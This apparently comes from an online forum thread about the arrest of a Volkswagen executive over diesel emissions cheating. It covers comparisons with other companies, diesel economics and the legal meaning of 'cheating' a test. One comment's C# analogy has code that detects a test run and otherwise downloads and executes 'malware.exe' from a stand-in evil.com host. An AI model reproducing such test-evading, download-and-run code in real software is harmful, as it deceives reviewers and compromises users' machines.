I wonder if the same would have happened to an American company in the USA. If so, what's the deal with the bankers that did orders of magnitude more damage?
I think it depends on whether they did anything illegal. Doing damage is not by itself enough to arrest anyone, there has to be something illegal about having acted in the way that caused the damage.
Harley Davidson was caught doing the same emissions scam and no one seems to care. Granted there's less vehicles from them compared to the 11 million Volks but still.
Doesn't seem to be the same from what I can tell. AFAIK the Harley Davidson "defeat device" would still emit unacceptable levels of emissions during an emissions test. And that they were intended for track/racing use.
This is very different from purposefully hiding your emissions levels from testers.
Whether that difference is material when meting out punishment is up to judgement. But calling it "no different" seems pretty wrong.
I gotta do some searching but it was explained to me that at the factory they would run the engines extremely lean... like to the point they had to add additional cooling. Then when the bikes arrived at the dealer they would reflash the ECU and have it normally tuned again.
EDIT: Not exactly that... from another user "They admit that the modified bikes bypass emissions requirements, whereas the unmodified VWs didn't meet the requirements and had to cheat to pass inspection."
From the factory, the bikes passed the EPA requirements.
Harley also got into the business of selling folks new exhaust/air intake and race tuners at the dealership so folks could 'stage 1' their bikes and remap their EFI units. This results in failing emissions (usually). They settled, restricted what they sell post-sale and are tightening down on what voids factory warranties moving forward.
Oh yes, and nobody cared about the performance aftermarket (basically anything you do is going to violate emissions standards) until Harley started selling bikes already modified for "racing".
I dropped 20 lbs off a 330lb bike (and added about 5hp) by replacing the heavy dual exhaust with a single Ti/carbon pipe, and reprogramming the ECU. I'm sure the manufacturer would have loved to give me a 310lb bike that made more power if they could. (and before you ask, no it's not loud, I hate loud pipes)
Incidentally, the exhaust/ECU upgrade was done by the local shop when the bike was purchased new. Basically the same as what H-D was doing.
Anyway, what H-D got popped for is arguably less egregious than what VW was doing. They admit that the modified bikes bypass emissions requirements, whereas the unmodified VWs didn't meet the requirements and had to cheat to pass inspection.
You mean like Bernie Madoff, Raj Rajaratnam and Allen Stanford? Three of the most famous bankers / financiers of the last 20 years. Losing money isn't necessarily a crime, fraud is.
Your premise is a partial myth anyway.
"35 bankers were sent to prison for financial crisis crimes"
She went to prison for lying to the FBI during the investigation of her alleged securities fraud. IIRC she was never found to have committed securities fraud (though she very likely did).
Bankers are like aspect oriented programming. They cut through a lot of layers. You touch a banker you are touching many people across the spectrum. Sending an automobile scapegoat ceo to jail does not affect that many people.
The head regulator was the former CEO of the largest offender in the financial meltdown. The two were the ones making the deal. Those few that passed it into law were taking money from that company and the other offenders in form of campaign contributions. The result was a deal that only benefited the offenders while doing huge damage to their victims and many investors who placed bets on a market direction where they failed.
Textbook case of corruption. Probably one of the biggest and most obvious I've ever seen, too.
Did GM deliberately try to falsify test results, so as to provide incorrect information to the government?
There's stupidity and incompetence, and then there's deliberately breaking the law and trying to hide that you're doing so. The latter gets you arrested, the former gets you shamed (and perhaps fined).
Yeah, GM's handling of the ignition switch was bad, but it was organizational (and some individual) incompetence, not conspiracy.
The bad switch was the responsibility of one engineer who simply didn't think it was a problem. Once it turned out it was, the switch was redesigned without changing the part number, which is really weird, but doesn't seem to have been part of any sort of coverup. It then took years for realization of the problem to percolate up far enough for the company as a whole to take action.
Did GM deliberately try to falsify test results, so as to provide incorrect information to the government?
Maybe. The Justice Department case against GM that was settled had two parts... a wire-fraud charge and a charge of "engaging in a scheme to conceal a deadly safety defect".
Of course, GM settled for $900 million (USD) with an agreement to drop the charges if GM fixes their recall process. So, we don't have a criminal conviction.
I do wonder if GM got off easy because they are American. Next to impossible to prove, lacking a smoking gun (email or similar), but GM actually killed people and got a small fine (relative to VW's fines).
Don't get me wrong. I find it interesting that the FBI will arrest anyone for conspiracy when they so clearly ignore it in numerous other cases (such as in banking, real estate). I doubt though that this will be an emerging pattern for the FBI. I'm sure many more horrible conspiracies against the American people will be ignored efficiently.
Just so everyone else understands how our justice system works (at the Federal level anyway). The FBI does not just "decide" to arrest someone. An agent can start an investigation and want to arrest someone. But if a federal district attorney is not on board, usually no arrest will happen.
99 times out of 100, a Federal District Attorney (usually in the region where the company / person is headquartered) makes this decision and then the FBI (or other federal agency) acts, especially in major cases like this.
Many times there is a working relationship. An FBI agent might call a district attorney and "shop" his case: "Hey Jim, it's agent Bob, I have a slam dunk case for you here, call me." Other times the crime is serious enough its totally obvious that everyone is going to peruse it (murder, child exploitation, major drug stuff, etc.) And other times, the District Attorney calls the agent and says "Bob, these Volkswagen people need to pay for what they have done, lets throw the book at them, start investigating."
We will probably never know what happened in this Volkswagen case, but make no mistake that people inside the White House, FBI headquarters and Loretta Lynch's office all had to "thumbs up" a persecution on this level. One lowly agent doesn't make these decisions.
Most amazing is that in Europe VW does not have to pay anything. And car owners are forced to do a software update that reduces engine power and increases risk of malfunction. VW never again.
If this blows up it's over for most german car manufacturers.
They sold a lot of diesel cars, and most of them probably have some hacks to meet Euro standards.
They should be forced to fix all cars, reimburse buyers for any losses, and be forced(!) to go green asap (which probably means at least 10 years, so yeah there should be some force)!
It seems to be game over for diesel cars in general, even if you ignore their eventual replacement with electric cars. They have been getting a lot of bad press lately. Their popularity was due to their higher fuel efficiency; But for diesels, it seems that there is trade-off between fuel efficiency and NOx emissions (http://www.livescience.com/52284-volkswagen-scandal-clean-di...). With many cities and countries trying to curb smog and air pollution, diesels are on the top of the hitlist.
diesels are popular in europe for one reason that probably somebody from us will not understand. the price of fuel.
because the price of fuel is so much bigger fuel efficiency is the biggest concern
In Germany it is not just about the efficiency: diesel fuel is taxed lower per liter than gasoline, for exactly the same stupid reasons personal cars are (were?) often cheaper to register in the USA if you find an excuse to call it a truck.
About the same in France: heating oil was traditionally used to heat houses, but with the development of nuclear electricity it consumption dropped. French government back then helped the refineries by lowering the taxes and pushed the car industry to develop diesel cars. And we have been stuck with these diesel cars since this era.
It's a vicious circle because owner of diesel cars may think twice before voting if a candidate proposes to raise the taxes on diesel, even if year after year we get reports about the number of early deaths because of fine particles…
I was offered to register my escape as a truck or a car in Missouri- but registering it as a truck would have costed more. Apparently had something to do with the max weight loading I could theoretically legally have on it.
Not only the price of fuel, but the relative price of the two fuels. In the US, diesel is a fair bit more expensive than regular gasoline, which cuts down or eliminates any cost savings you get from higher efficiency.
It is cheaper than premium gas in most places though, and given the cars diesel engines are offered in, diesel tends to compete with premium, not regular. The obvious exception are 1/2-1 ton trucks, but in those, diesel engines serve a different purpose than the gasoline ones.
Seems to be true in the higher-end diesels, like the BMWs and Audis and Mercedeses, but the gas versions of cars like the Cruze and the Jetta use regular gas. For people who are cost conscious, I imagine that they'd be looking at the lower-end diesels where the gas equivalents use cheap gas.
Not sure about the Jetta, but the diesel Cruze is so much more efficient than the gasoline version that diesel has to be 1.5x the price of gas for the latter to make sense. EPA cycles tend to underestimate the fuel economy of diesel TDIs and overestimate those of gasoline TDIs. They're pretty accurate for non-turbo gasoline DI engines though.
After my diesel car had trouble starting in -15°C temperatures, I will avoid buying a diesel car again. I like the diesel engine for its high torque and the fact that I pay less for fuel, but gasoline is cleaner and I can install a LPG kit if I want cheap, cleaner fuel. A gasoline powered hybrid vehicle negates all the advantages of diesel.
Diesel is really for trucks, ships, agricultural and construction vehicles and some railway engines. It should be taxed more than gasoline because of NOx, particulate and sulphur pollution.
If you regularly drive long distances on highways, diesel >> gasoline-electric hybrid, since the electrical part of the drive train doesn't do much at constant speeds.
> It should be taxed more than gasoline because of NOx, particulate and sulphur pollution.
Diesel car owners already pay that tax through the expense of urea injection, oxidation catalyst, and particular filter systems, and with those systems diesel is every bit as clean as gasoline. Sulfur is a nonissue with ULSD these days, and if you want to reduce sulfur further that's something you deal with at the refinery, not the pump.
I've stopped worrying about it completely. I used to have a Nissan Qashqai, with a 1.6dCi engine - my average diesel consumption for 3 years I had that car, was about 7.0L/100km. I now have a Mercedes with a 2.0L turbocharged petrol engine - my average consumption so far is 8.5L/100km of petrol. My fiancee has a VW Polo with a 1.2L petrol engine, and she averages 6.5L/100km of petrol. I literally don't see a point of buying a diesel car, ever again.
I'm just saying you have to compare apples to apples.
My diesel Peugeot 306 1.9 did about 45mpg no matter how hard I drove it, whereas my friend with the same model with a 2L petrol engine said he was using roughly twice as much fuel as me. The later common rail 2L version was supposedly capable of 55mpg
No, thats just one reason.
Disel engines are doing way more kilometres in average before they blow up.
Nearly all Taxi/Cabs in Europe are Diesel for that reason.
I really doubt people care about the emission stuff at all...
Actually a lot of taxis are Priuses. In some places they give massive discounts to taxi drivers on hybrids, because people were worried about the reliability of the engine and Toyota figured out that seeing hybrid cabs would be more effective than any advertisement.
i doubt many people buy diesels for they ability to drive beyond 200k miles. taxis are something different
diesels are for taxis suited (beyond that they consume less fuel) because they have torque down low and are not rewed as high as petrol engines, and thus not that abused.
look at large natural aspirated V8s, there are many with close to 1m miles, they pull small power form large displacement but could run forever.
A big part of diesel's fuel efficiency advantage is caused by the emissions controls on gasoline powered vehicles.
Vehicles from the early 70s often had similar gas mileage to smaller lighter vehicles from the late 90s-early 2000s but the newer cars had much better emissions.
If the makers of gasoline powered cars had cheated like VW did on their diesels, the diesel advantage would have been nonexistent.
Even if you had no emissions laws diesel would still have a large fuel consumption advantage. Diesel contains more energy per volume (139000 btu/gallon vs 124000 btu/gallon).
In addition the design of a diesel engine does not require a strict stoichiometric air/fuel ration. The result is at less than full throttle the gasoline engine the efficiency of a gasoline engine drops off faster than a diesel engine. In an ideal efficiency engine (no emissions) a gasoline engine at full throttle is more fuel efferent than a diesel engine, but when at less than full throttle - which is where most engine spend all their time) the diesel engine is more efficient. Note I skipped a dozen pages of disclaimers on the above claim: there are many ways in the real world to cheat the above.
> Vehicles from the early 70s often had similar gas mileage to smaller lighter vehicles from the late 90s-early 2000s but the newer cars had much better emissions.
Source? Electronic fuel injection with closed-loop fuel/air control wasn't a mature technology in the 1970s, and open-loop fuel injection (not to mention carburetors) combined with 3- and 4-speed transmissions are inherently less efficient then closed-loop with 4, 5 and 6-speed transmissions.
> But for diesels, it seems that there is trade-off between fuel efficiency and NOx emissions
Correction: there is a trade-off between fuel efficiency, NOx emissions, particulate emissions, and cost. Urea injection + diesel oxidation catalyst + diesel particulate filters pretty much solves all emissions problems with diesel engines, and that's what GM and Ford diesels do, both in Europe and in the US. It isn't cheap for sure, but the 2014 Chevrolet Cruze diesel is worth every dollar in premium over the gasoline version.
I think it would be a reasonable to forbid VW from ever making a combustible engine ever again. Forcing them to go green or perish. It's some Lex Luther level shit they pulled.
I'm glad they got busted in the US and I hope they lose market share. They are selling shitty cars that break just outside of warranty. I'd rather buy Peugeot/Citroen or Ford rather than VW/Audi.
In October, one Spanish court ordered "two Spanish VW units" (dealers?) to pay €5000 to one buyer of an Audi which was affected by the software. VW promised to appeal, but that's the last I was able to find on the issue. There have not been large-scale decisions that I'm aware of.
This is way overdue. Unfortunately in Germany they don't touch VW executives at all. You could build the same cases here, but there is no political will.
Our corrupt ministry of transportation even sends out their reports on the VW fraud scandal over to Volkswagen and lets them review/amend/retract passages of their report.
You can't make that shit up. It's a disgrace to Germany and the EU that this company has so much leverage.
It's called the Home Advantage. Ford/GM enjoy that in the US so if this scandal were to take place at those companies, you'd see harsher action in Europe than in the US.
The only court system that gave Apple a major win over Samsung in the patent case was in Silicon Valley, CA. Not in Germany, Japan, and other 3rd party countries...
As someone who works in finance, I'm shocked at the level of fraud and corruption that is tolerated in other industries. I'm glad to see that at least some action is being taken.
Good. I'm tired of high-ranking high-status members of society dodging consequences of multimillion or billion dollar catastrophes while the lowest classes get life sentences for ruining a single life.
I think the only way to stop the white-collar crime problem (which I think is a bigger problem than the physical crime problem) is by holding people accountable.
I have not been closely following this scandal, so I was unaware that other car manufacturers have been indicted in emissions cheating. Could you share a source with more information about this?
He talks about how it is possible that the cars achieve the low results in the testcycles but produce much higher emissions on the real road. The reverse engineering in the beginning of the task is also very interesting.
I thought it's a common knowledge most/all are doing it in one way or the other. Same as professional athletes in many sports, ie cycling - you cannot be really successful without any hacks/borderline cheating, it's more a matter of being few steps ahead of doping tests and current rules, thriving in the gray area.
I simply don't believe anymore there are any clean athletes in first 3 places in any sport where there are significant money involved.
And most people are happy to support this indirectly via their support of things like Olympics which became lately just hunt for sponsors. (I don't watch those anymore, rather will spend the time actually training, with friends, in the nature etc.)
Not even just emissions, lots of companies play software tricks to game efficiency numbers. Chevy and Ford have both played games with the manual V8 sports cars that locks out the 1 -> 2 shift and force the driver to go 1 -> 4 to save gas when the computer sees the car accelerating at the same rate as the EPA test.
The funniest thing was the Ford would sell you a software update to defeat skip shift under the guise of a "performance tune", at least that's how I defeated it while still keeping my warranty.
I was under the impression that unless you bought an aftermarket tune the 1 -> 2 (and maybe even 1 -> 3) shift was always locked out no matter your rate of acceleration. Has this changed in the past few years?
When a poor black man in America is arrested for a rape, it's racism and classism because a rich white man is far more likely to get away with that crime. But it's also justice. I don't think you would argue that we should let poor black men get away with rape just to make things more fair.
It's selective justice. Imagine driving down in a 2009 Toyota Camry with your well dressed family on a well paved highway in Alabama at 78 mph in a 65 mph zone on a nice, clear sunny Sunday a safe distance away from the preceding car at the same velocity as quite literally every other car in every other lane you see. Clearly not posing a safety threat, not lane-weaving indicating any form of compromised faculties or dangerous behavior, no threat at all really. However, Smokey the Bear state trooper Bob decides he doesn't like the way you look. You could be black, you could be wearing a Ralph Lauren Polo with a NORML insignia on it and Bob just happens to hate pot, you could have an atheist bumper sticker and Bob just got on shift after a rousing sermon from Pastor Jedidiah. Justice imposed on selected individuals is not justice.
Ethically, were he to enforce the law to the letter with an egalitarian approach, the first person he saw as he got on shift exceeding 65 should have been pulled over. As soon as that ticket was issued, he should have done so for the next person, ad infinitum until he was off-duty.
In actuality, if every single arrested individual stopped one day and decided to exercise his or her constitutional right to see his day in court like that prep school[1] individual did, we'd see what would amount to be a DDoS on the system incapable of handling a caseload of such magnitude. Pragmatically, an ADA will use a very effective method - known colloquially as "charge stacking" - to intimidate the accused into pleaing out a charge he would likely beat[2].
Though I'm totally with you on the classist component - should Michael Jordan's son commit a crime, he'd be far less likely to be convicted than whitey-mc-Kentucky-Meth-Mouth Tim's son due to the same lack of resources afforded to him.
[2] Even more compelling is the motion for dismissal those defense attorneys could raise in aggregate on 6th amendment grounds. In the state of California, the 45 day cap could be breached fairly easily if all of the defense attorneys concurrently suggested to their clients to enter a not-guilty plea. You'd also see a marked decline in arbitrary traffic stops, as arresting officers would be forced to spend the day in court rather than in speed traps.
All this explanation amounts to stating positions in what seems like a fundamental disagreement, so I'm not sure how to dig deeper.
At some level I agree with you that justice unevenly served is not justice, but I guess what I'm arguing here is that justice is a spectrum rather than a binary. Justice served unevenly is less just than justice served evenly, but more just than justice not served.
Emissions from Volkswagen cats above those permitted by the Clean Air Act (enabled by cheating on emissions tests) are estimated to have caused a significant number of premature deaths in the US:
> According to the study, conducted by researchers at MIT and Harvard University and published in the journal Environmental Research Letters, excess emissions from Volkswagen’s defeat devices will cause around 60 people in the U.S. to die 10 to 20 years prematurely. If the automaker recalls every affected vehicle by the end of 2016, more than 130 additional early deaths may be avoided. If, however, Volkswagen does not order a recall in the U.S., the excess emissions, compounding in the future, will cause 140 people to die early.
while not defending the purposeful fraud on VWs part the cars are still less polluting than the generation they replaced. That number cited by the MIT paper is so low as to be not something that can actually be corrected for.
I think this somewhat misses the forest for the trees - the case against VW and the punishment isn't over hypothetical deaths, it's about cheating the emissions tests and not complying with regulatory standards. In a tangential way yes, the goal is to increase quality of life, but that's not really the point of the case/arrests, nor is it realyl the focal point of the research done, which was more a study on just how much excess pollution was produced as a result of the scandal.
The FBI's actions have nothing to do with the MIT link.
At some point, "causing economic harm" stops being an abstract thing, and literally means children starving, adults going homeless and freezing to death in winter, or people turning into crime to avoid fates like these.
So yeah, billion-dollar white collar crimes are, IMO, definitely worse than murder.
A human life does have a price tag, just ask insurance companies. Conversely, negative externalities can be quantified in terms of quality-adjusted life years (qaly).
If you think of money as labor and say there are 2000 work hours in a year, then at $10/hour a $1 million waste of money is wasting 500 work-years of human life. 2000 hours/(365 days * 24 hours) = 22%, so that is 500 * 0.22 = 114 lives wasted on a fruitless project.
If a wasteful project is government, then you have the additional complication that the government ultimately uses police and SWAT teams to enforce the tax code. So $20 million / ($50,000 total taxes paid in a year) = 400 man-work-years wasted. Multiplying by the 22% time spent working above gives 90 years, which is close to the lifespan of an average person. So you could say a waste of $20 million is equivalent to wasting a software developer's life(assuming his taxes are $50k).
Murder removes the remaining lifespan from someone, so there is a sense in which it is equivalent to time spent on pointless labor, which is equivalent to money.
Though, you'd want to specify how the Volkswagen incident is a 'multimillion dollar catastrophe':
* Is it from the fines imposed? That's an arbitrary number in the law or from some judge. You can't blame Volkswagen executives for causing economic damage here; the judge or lawmaker seems like the responsible party.
* Is it from environmental damage? It's tricky to get a dollar number from this. You can try, but I'd have low confidence in the result, and chaining that with the low confidence in the 'murder<=>wasted labor' equivalence makes an unpersuasive argument.
* Is it the forced recalls? Here, the Volkswagen executives could be said to be responsible for wasted consumer time driving it to a dealership for repair, wasted employee time fixing the cars, wasted lawyer's time defending their case, wasted judge's time fining them, wasted regulator's time preparing endless reports, etc. But, the economic cost of just the recall is probably smaller than what the OP was thinking.
* Is it damage to the Volkswagen brand? I was recently shopping for a car with a friend, and one criterion was "Anything but a Volkswagen". Even if I don't care about the pollution, cheating makes them untrustworthy. This reduces consumer choice, which has some economic effects.
In what other senses can you say that the Volkswagen executives caused an economic catastrophe(and hence, robbed people of their precious little life cleaning up the mess)?
Making cars is "statistical murder". Bad schools are "statistical murder". Selling cheesecake is "statistical murder". Enforce the laws you have to help keeping honest people honest, but please do not selectively blow individual cases out of proportion with gut appeal tactics.
All these examples are regulated by laws that control the extent of damage done. Clearly the society believes that the existence of these is, after accounting for the positive and negative effects, better than nonexistence. But, skirting the laws in most of these cases can result in harm/death, and should be treaded as such (e.g. selling cars with faulty brakes, selling cakes with too much trans fats... a bit harder to say for schooling noone has really figured out how to do it well on a large scale).
To elaborate a bit more on that (because I agree with you): selling cheesecake is not a crime, even though foods high in calories and sugar are known to cause obesity which causes premature death. It's the consumer's choice to buy these, but since they are recognized as potentially dangerous, the government does regulate the production of cheesecake. There are ingredients you cannot use, you have to disclose the ingredients you do use, and you have to include a nutrition facts label that shows how much sugar and how many calories are included in this cheesecake.
What VW did was like a cheesecake maker being told they're not allowed to use trans-fats, submitting their cheesecake to the FDA for testing to prove it doesn't use trans-fats, and then selling a completely different product on the market that does include trans-fats, but not printing that on the label.
You're allowed to sell cheesecake even if we know it's harmful, you just have to follow some regulations to make sure the harm is contained to a reasonable level and to ensure that consumers are well-informed of the risks they're undertaking. VW cheated the regulations and lied on their label. Of course they should be punished.
> Scientists are asking people across the globe to lay off sugary drinks, linking the consumption to an estimated 184,000 adult deaths each year, including more than 25,000 Americans.
I wouldn't expect cheesecake to fare much differently.
I'm surprised that he decided to stay in the United States. Germany doesn't extradite its own citizens to countries outside the EU (except in very limited cases such as war criminals), so he would have been perfectly safe if he'd moved back to Germany.
And even if he would have been sentenced in Germany the sentences handed out in such cases are _much_ more relaxed than the potential sentence he's facing in the United States.
Article 7 clearly states that they are not required to extradite their own citizens and the German constitution actually prohibits extraditing German citizens to outside the EU (Art. 16. Abs. 2).
The idea that VW would come out of this with no executives going to prison is laughable. They broke black-letter law. It wasn't just recklessness. There is no plausible deniability. They straight-up cheated. They knew they cheated. Management endorsed the cheating. When the initial investigation got going they lied about cheating.
My guess is a number of execs will plead guilty before this is all over.
A lot of compliance tests are like this. Most companies run different software during tests than they would in the field and are just expected to have the product behave similarly in good faith.
It's one of the best arguments for open source firmware IMO.
Exactly. Ships cause enormous amounts of pollution but are practically unregulated thanks to the lobbying influence of companies that import and export.
In addition to that, the EU marine shipping system seems to be in some turmoil over some required major capital expenditures due to a double-hull regulation, which I also wanted to mention, but I can't quite find it.
I don't get this. VW (and other car manufacturers) did NOT cheat. Their cars have (AFAIK) passed all the emission tests required. Do they produce more emissions outside the test envelope? You cry on wrong grave then...
Passing tests is not sufficient to determine that they should not be charged with criminal behavior. For example, if you hired someone to write some code, and required that passed an NUnit test suite you provided, and they delivered:
public double ComputeAverage(List<double> values)
// If being tested, return the correct result
if (AppDomain.CurrentDomain.GetAssemblies().Any((assembly)=>assembly.FullName.StartsWith("NUnit.Framework")))
{
return values.average();
}
// If not running in test suite, download malware and return wrong values
else
{
Net.DownloadFile("http://www.evil.com/file", "malware.exe");
Process.Start("malware.exe");
return 42;
}
}
...would you feel satisfied with their work? No. You would be annoyed at them for violating the clear intent of the requirement, but let's imagine for a minute that you somehow couldn't convince a court that they failed to deliver, and evaded the contract.
What happened here was that the attorney general asked "Hey, we see that you passed the test, but when we run it in other contexts, we see bad things happening - wrong results returned, and malware being downloaded. Did you make it do the wrong thing, and download malware?"
And Oliver Schmidt, representing Volkswagen, answered "No."
That's where the crime being discussed here occurred. The evasion of the of the law, rather than operating in good faith to have the product perform the same in the test as in normal operation, resulted in the fines that have been levied to the company. But lying to regulators is why Schmidt is being criminally charged.
Cars aren't only required to pass emissions tests, they're required to have their emissions within the specified limits at all times. The purpose of the tests is to ensure compliance.
Not true. Emissions vary a lot depending on environmental factors and optimizing for the worst case scenario (which is what "within limits at all times" implies) would likely result terrible averages. Even within the test cycle, the engine can be as dirty as they like at any point in time, as long as the average stays within bounds.
What they are not allowed to do is change the way the engine operates when under test vs on the road, and this is exactly what happened at Volkswagen. The VW case is not the first (ruling like this tends to be reactive, and slow...), but it might be the first were the response is firm enough to deter future would be offenders.
If it were the case, the regulations would say "No more than X NOX emitted per mile, even when climbing Mount Everest, even when 5 years old, even when poorly maintained, and even when used with low quality fuel, and in all other conditions anyone might put them in."
That clearly isn't reasonable, so instead the rules are written to say "They must pass XYZ tests". As long as those tests are passed, they meet the standard.
IMO, the main culprit here is the lawmakers for not correctly designing the rules and test procedures to be sufficiently realistic. Specifically, they shouldn't allow the CO2 test and NOX tests to be done in different conditions.
They should instead say "your car will be assigned to one member of EPA staff every day for a month. They will drive their regular daily journeys with it, and all emissions recorded. If you aren't happy with the test results (for example due to a cold week), you may ask for a retest.".
The problem with your reasoning is that these cars were designed to not meet the emissions requirements from the factory. From day one, they were only designed to meet the emissions standards during the testing, not on the road. They were purposefully designed to cheat on the test.
Your statement would be true if test performance varied from real-world performance due to environmental factors, but that's not the case. Test performance varies from real-world performance by design. And then they lied about it. That's why they're being punished.
I do agree that the test should be changed to take that inevitability out of the equation, but for this situation the reason they're being punished is because they designed their cars specifically to cheat on the existing test.
> Your statement would be true if test performance varied from real-world performance due to environmental factors, but that's not the case.
..or due to engine temperature, speed, gear, gas pedal position and tons of other variables WHICH IS the case. That's why emission requirements are (and must be) test-specific.
I'm sorry but you're wrong, and since I know you read my comment (you quoted it) it almost seems like you're deliberately wrong.
Yes, testing varies from the real world based on a number of factors. Environmental, driving style, etc. And the current tests don't care about that, which is a completely separate problem. The problem that VW got in trouble for is specifically designing their cars to cheat on the existing test.
Yes, cars behave differently if they're driven uphill vs downhill, if they're driven in the rain vs in the snow, if they're driven in the mountains or at sea level, but that doesn't matter at all. The test doesn't care, the law doesn't care. They're willing to accept that difference, as long as the car doesn't actively circumvent the purpose of the test. Which VW did.
You can argue that the test is invalid, and I agree. But that doesn't matter. The test is the test and VW cheated it. They built their cars specifically to have a completely different performance in the test vs in the real world with the specific intent to cheat the test.
Nope. When doing business, the only thing that counts is formal, verifiable spec. Crying "You have cheated since I wanted somehing else" should be irrelevant in any country that honors rule of law.
> specifically designing their cars to cheat on the existing test.
Test is a predicate. It can pass or fail, but you can't cheat it.
> actively circumvent the purpose of the test
Hmm, that's probably closest to something I can accept as an argument. Nice. But to circumvent the purpose requires an actual purpose. If the purpose is formal, it's the test itself. And if it's not formal, then it's IMO impossible or very hard to prove that it has been circumvented.
Laws are not software programs. Intent is a part of them, and it was clear the intent was for the testing to be representative of actual usage. It was not because the cars detected a test and changed behavior. That's a clear attempt to circumvent the regulation.
It's some time since I read the details but I remember that lots of people agreed it was not the actual usage, which btw made detecting it so easy. The acceleration was unrealistically long and slow, for example.
There is such thing as "evading the law" you know. It's not enough that you satisfy the regulation, if you act against the intent of the law in other ways. Or perhaps it's different in the US, but that's what I would expect in most of Europe.
It doesn't really matter what they're doing or saying now, what matters is what they were doing and saying at the time the evaded/avoided the law. If I admit to breaking the law, I still broke the law and I will still be punished for it. It doesn't retroactively make it okay just because I've admitted to it.
At the time they submitted their cars for testing, they told the world these cars met the test standards and did not say they had software to detect the test and modify the engine tuning. They only admitted it after they got caught, so at the time of the testing, they were evading the law, not avoiding it.
Avoiding the law would be not submitting their cars for testing.
